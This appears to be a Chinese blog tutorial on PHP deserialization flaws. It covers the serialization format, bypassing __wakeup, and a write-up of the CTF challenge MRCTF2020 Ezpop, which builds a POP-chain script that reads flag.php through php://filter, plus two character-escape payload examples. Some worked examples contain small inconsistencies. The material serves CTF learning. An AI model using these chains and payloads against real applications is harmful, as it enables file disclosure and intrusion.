Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

php中可以通过serialize()和unserialize()对目标进行序列化和反序列化

serialize()和unserialize()函数

将对象、数组、变量等转化为字符串,便于数据保存到数据库或文件中,这个过程叫做序列化,而当需要使用这些数据的时候,就需要用反序列化将字符串转化为原来的样子,这也就是序列化的逆过程,PHP提供了serialize()和unserialize()两个函数进行操作,而当unserialize()的参数被控制时,就会产生反序列化漏洞

1
2
3
4
5
array('a',12,'chh')
#序列化
a:3:{i:0;s:1:"a";i:1;i:12;i:2;s:3:"chh";}
#反序列化
Array ( [0] => a [1] => 12 [2] => chh )

变量类型:元素数量:{元素序列类型:元素序列;元素类型:元素名长度:元素名}(数字型省略元素名长度)

1
2
3
4
5
6
7
8
class b_object{
public $Id1 = 123;
protected $Id2 = '1234';
private $Id3 = 12345;
#序列化
O:8:"b_object":3:{s:3:"Id1";i:123;s:6:"*Id2";s:4:"1234";s:13:"b_objectId3";i:12345;}
#反序列化
b_object Object ( [Id1] => 123 [Id2:protected] => 1234 [Id3:b_object:private] => 12345 )

变量类型:类名长度:类名:属性数量:{属性名类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

(protected的字段序列化格式为%00*%00属性名,private的字段序列化格式为%00类名%00属性名)

在php还存在一些魔术方法,在特定条件下会被自动调用,当进行反序列化时同时也会调用模式方法__wakeup()

绕过__wakeup()

执行unserialize()时,会先调用该函数,而这个函数中的代码会影响反序列化的利用,因此需要先绕过__wakeup(),绕过方法是使序列化字符串中表示对象的属性个数的值大于真实的属性个数,如

1
O:8:"b_object":4:{s:3:"Id1";i:123;s:6:"*Id2";i:1234;s:13:"b_objectId3";i:12345;}

[MRCTF2020]Ezpop

这里先解释一下php伪协议中比较常用的php://filter

php://filter是一种元封装器,简单来说就是在读入或写入数据时对数据进行处理后再进行输出,php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行,所以我们一般对其进行编码,让其不执行,从而导致 任意文件读取。

143

常用格式:

1
2
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php

这道题进去直接把源码放了出来,这里审阅一下代码,先看

1
2
3
4
5
6
7
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

很明显需要通过get传参传入一个值,而且这个值需要为序列化后的字符串

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

这里调用include函数,我们可以通过文件包含进行读取,前面也有提示flag在flag.php中,直接构造$var=flag.php,现在需要调用这个魔术方法__invoke(),__invoke()当类被当作方法使用时被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}

这里有用的只有__toString()可以进行利用,__toString()当对象被当作字符串时调用

1
2
3
4
5
6
7
8
9
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();

这里大致看了一下,能用的__get这个魔术方法,他需要调用对不存在属性或私有属性进行查看时会被自动调用,

捋一下大致思路,这里需要去读取flag.php,这里就需要调用__invoke()这个魔法方法,就需要Modifier这个类以函数的方式被调用,那这里就需要调用__get方法将Modifier转化成方法,而需要调用__get则需要去调用一个不存在的属性,而在__get恰好有一个不存在的属性,则只需要调用__get即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Modifier {
protected $var="flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
}
$a=new Show;
$b=new Show;
$a->source=$b;
$b->str=new Test;
($b->str)->p=new Modifier();

因为这个被反序列化,则需要将输入的参数进行序列化

1
echo urlencode(serialize($a));   //因为$var的属性被protected,序列化后会出现两个%00,被url解析后会直接被忽略,所以这里直接对其进行url编码

145

构造完成后发现无法直接读取flag,这里我们就是用php伪协议读取源码,这里只要修改$var的值即可

1
$var="php://filter/read=convert.base64-encode/resource=flag.php";

144

反序列化字符逃逸

反序列化字符逃逸一般是因为要对数组中的某个变量进行特殊赋值,而这个变量被系统强制赋值,则需要绕过这个赋值,一般存在序列化和过滤,在进行反序列化时造成字符逃逸

过滤后字符数增加

字符串变长,变长的 ,从而使得余下的部分可以成为下一个变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function lemon($string)
{
$lemon = '/p/i';
return preg_replace($lemon,'qq',$string);
}
$cmd=$_GET["cmd"];
$a="18";
if(!empty($cmd))
{
$s=array($cmd,$a);
$examp=lemon(serialize($s));
var_dump(unserialize($examp));
}
?>
1
cmd=pppppppppppppppp";i:1;s:2:"18";}

未过滤前:

1
a:2:{i:0;s:32:"pppppppppppppppp";i:1;s:2:"18";}";i:1;s:2:"18";} 

过滤后:

1
a:2:{i:0;s:32:"qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";i:1;s:2:"18";}";i:1;s:2:"50";}

反序列化执行语句:

1
a:2:{i:0;s:32:"qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";i:1;s:2:"18";}

过滤后字符数减少

字符串变短,前一个变量变短,定义字符串长度无法改变,通过后一个变量构造,完成变量替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function lemon($string)
{
$lemon = '/p/i';
return preg_replace($lemon,'',$string);
}
$cat=$_GET["cat"];
$cmd=$_GET["cmd"];
$a="20";
if(!empty($cmd)&&!empty($cat))
{
$s=array($cat,$cmd,$a);
$examp=lemon(serialize($s));
var_dump(unserialize($examp));
}
?>
1
2
cat=ppppppppppp
cmd=;i:1;s:5:"jijoy";i:2;s:2:"18";}

未过滤前:

1
a:3:{1:0;s:11:"ppppppppppp";i:1;s:29:";i:1;s:5:"jijoy";i:2;s:2:"18";}";i:2;s:2:"20";} 

过滤后:

1
a:3:{1:0;s:11:"";i:1;s:29:";i:1;s:3:"dog";i:2;s:2:"18";}";i:2;s:2:"20";}

反序列化执行语句:

1
a:3:{1:0;s:11:"";i:1;s:29:";i:1;s:5:"jijoy";i:2;s:2:"18";}

评论